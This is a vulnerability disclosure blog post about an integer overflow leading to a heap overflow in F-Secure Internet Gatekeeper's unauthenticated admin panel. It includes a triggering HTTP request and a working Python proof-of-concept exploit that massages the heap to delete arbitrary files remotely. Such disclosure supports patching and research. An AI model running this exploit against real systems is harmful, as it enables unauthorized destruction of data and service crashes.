Heap Overflow in F-Secure Internet Gatekeeper
03 Feb 2020 - Posted by Kevin JoensenF-Secure Internet Gatekeeper heap overflow explained
This blog post illustrates a vulnerability we discovered in the F-Secure Internet Gatekeeper application. It shows how a simple mistake can lead to an exploitable unauthenticated remote code execution vulnerability.
Reproduction environment setup
All testing should be reproducible in a CentOS virtual machine, with at least 1 processor and 4GB of RAM.
An installation of F-Secure Internet Gatekeeper will be needed. It used to be possible to download it from https://www.f-secure.com/en/business/downloads/internet-gatekeeper. As far as we can tell, the vendor no longer provides the vulnerable version.
The original affected package has the following SHA256 hash:
1582aa7782f78fcf01fccfe0b59f0a26b4a972020f9da860c19c1076a79c8e26
.
Proceed with the installation:
- (1) If you’re using an x64 version of CentOS, execute
yum install glibc.i686
- (2) Install the Internet Gatekeeper binary using
rpm -I <fsigkbin>.rpm
- (3) For a better debugging experience, install gdb 8+ and https://github.com/hugsy/gef
Now you can use GHIDRA/IDA or your favorite dissassembler/decompiler to start reverse engineering Internet Gatekeeper!
The target
As described by F-Secure, Internet Gatekeeper is a “highly effective and easy to manage protection solution for corporate networks at the gateway level”.
F-Secure Internet Gatekeeper contains an admin panel that runs on port 9012/tcp. This may be used to control all of the services and rules available in the product (HTTP proxy, IMAP proxy, etc.). This admin panel is served over HTTP by the fsikgwebui binary which is written in C. In fact, the whole web server is written in C/C++; there are some references to civetweb, which suggests that a customized version of CivetWeb may be in use.
The fact that it was written in C/C++ lead us down the road of looking for memory corruption vulnerabilities which are usually common in this language.
It did not take long to find the issue described in this blog post by fuzzing the admin panel with Fuzzotron which uses Radamsa as the underlying engine. fuzzotron
has built-in TCP support for easily fuzzing network services. For a seed, we extracted a valid POST
request that is used for changing the language on the admin panel. This request can be performed by unauthenticated users, which made it a good candidate as fuzzing seed.
When analyzing the input mutated by radamsa
we could quickly see that the root cause of the vulnerability revolved around the Content-length
header. The generated test that crashed the software had the following header value: Content-Length: 21487483844
. This suggests an overflow due to incorrect Integer math.
After running the test through gdb
we discovered that the code responsible for the crash lies in the fs_httpd_civetweb_callback_begin_request
function. This method is responsible for handling incoming connections and dispatching them to the relevant functions depending on which HTTP verbs, paths or cookies are used.
To demonstrate the issue we’re going to send a POST
request to port 9012
where the admin panel is running. We set a very big Content-Length
header value.
POST /submit HTTP/1.1
Host: 192.168.0.24:9012
Content-Length: 21487483844
AAAAAAAAAAAAAAAAAAAAAAAAAAA
The application will parse the request and execute the fs_httpd_get_header
function to retrieve the content length. Later, the content length is passed to the function strtoul
(String to Unsigned Long)
The following pseudo code provides a summary of the control flow:
content_len = fs_httpd_get_header(header_struct, "Content-Length");
if ( content_len ){
content_len_new = strtoul(content_len_old, 0, 10);
}
What exactly happens in the strtoul
function can be understood by reading the corresponding man
pages. The return value of strtoul
is an unsigned long int, which can have a largest possible value of 2^32-1
(on 32 bit systems).
The strtoul() function returns either the result of the conversion or, if there was a leading minus sign, the negation of the result of the conversion represented as an unsigned value, unless the original (nonnegated) value would overflow; in the latter case, strtoul() returns ULONG_MAX and sets errno to ERANGE. Precisely the same holds for strtoull() (with ULLONG_MAX instead of ULONG_MAX).
As our provided Content-Length
is too large for an unsigned long int, strtoul
will return the ULONG_MAX value which corresponds to 0xFFFFFFFF
on 32 bit systems.
So far so good. Now comes the actual bug. When the fs_httpd_civetweb_callback_begin_request
function tries to issue a malloc request to make room for our data, it first adds 1 to the content_length
variable and then calls malloc
.
This can be seen in the following pseudo code:
// fs_malloc == malloc
data_by_post_on_heap = fs_malloc(content_len_new + 1)
This causes a problem as the value 0xFFFFFFFF + 1
will cause an integer overflow, which results in 0x00000000
. So the malloc call will allocate 0 bytes of memory.
Malloc does allow invocations with a 0 bytes argument. When malloc(0)
is called a valid pointer to the heap will be returned, pointing to an allocation with the minimum possible chunk size of 0x10 bytes. The specifics can be also read in the man pages:
The malloc() function allocates size bytes and returns a pointer to the allocated memory. The memory is not initialized. If size is 0, then malloc() returns either NULL, or a unique pointer value that can later be successfully passed to free().
If we go a bit further down in the Internet Gatekeeper code, we can see a call to mg_read
.
// content_len_new is without the addition of 0x1.
// so content_len_new == 0xFFFFFFFF
if(content_len_new){
int bytes_read = mg_read(header_struct, data_by_post_on_heap, content_len_new)
}
During the overflow, this code will read an arbitrary amount of data onto the heap - without any restraints. For exploitation, this is a great primitive since we can stop writing bytes to the HTTP stream and the software will simply shut the connection and continue. Under these circumstances, we have complete control over how many bytes we want to write.
In summary, we can leverage Malloc’s chunks of size 0x10 with an overflow of arbitrary data to override existing memory structures. The following proof of concept demonstrates that. Despite being very raw, it exploits an existing struct on the heap by flipping a flag to should_delete_file = true
, and then subsequently spraying the heap with the full path of the file we want to delete. Internet Gatekeeper internal handler has a decontruct_http
method which looks for this flag and removes the file. By leveraging this exploit, an attacker gains arbitrary file removal which is sufficient to demonstrate the severity of the issue.
from pwn import *
import time
import sys
def send_payload(payload, content_len=21487483844, nofun=False):
r = remote(sys.argv[1], 9012)
r.send("POST / HTTP/1.1\n")
r.send("Host: 192.168.0.122:9012\n")
r.send("Content-Length: {}\n".format(content_len))
r.send("\n")
r.send(payload)
if not nofun:
r.send("\n\n")
return r
def trigger_exploit():
print "Triggering exploit"
payload = ""
payload += "A" * 12 # Padding
payload += p32(0x1d) # Fast bin chunk overwrite
payload += "A"* 488 # Padding
payload += p32(0xdda00771) # Address of payload
payload += p32(0xdda00771+4) # Junk
r = send_payload(payload)
def massage_heap(filename):
print "Trying to massage the heap....."
for x in xrange(100):
payload = ""
payload += p32(0x0) # Needed to bypass checks
payload += p32(0x0) # Needed to bypass checks
payload += p32(0xdda0077d) # Points to where the filename will be in memory
payload += filename + "\x00"
payload += "C"*(0x300-len(payload))
r = send_payload(payload, content_len=0x80000, nofun=True)
r.close()
cut_conn = True
print "Heap massage done"
if __name__ == "__main__":
if len(sys.argv) != 3:
print "Usage: ./{} <victim_ip> <file_to_remove>".format(sys.argv[0])
print "Run `export PWNLIB_SILENT=1` for disabling verbose connections"
exit()
massage_heap(sys.argv[2])
time.sleep(1)
trigger_exploit()
print "Exploit finished. {} is now removed and remote process should be crashed".format(sys.argv[2])
Current exploit reliability is around 60-70% of the total attempts, and our exploit PoC relies on the specific machine as listed in the prerequisites.
Gaining RCE should definitely be possible as we can control the exact chunk size and overwrite as much data as we’d like on small chunks. Furthermore, the application uses multiple threads which can be leveraged to get into clean heap arenas and attempt exploitation multiple times. If you’re interested in working with us, email your RCE PoC to info@doyensec.com ;)
This critical issue was tracked as FSC-2019-3 and fixed in F-Secure Internet Gatekeeper versions 5.40 – 5.50 hotfix 8 (2019-07-11). We would like to thank F-Secure for their cooperation.
Resources for learning about heap exploitation
Exploit walkthroughs
- Linux Heap Exploitation Intro Series: Set you free() – part 1
- Linux Heap Exploitation Intro Series: Set you free() – part 2
GLibC walkthroughs
- GLibC Malloc for Exploiters - YouTube
- Understanding the GLibC Implementation - Part 1
- Understanding the GLibC Implementation - Part 2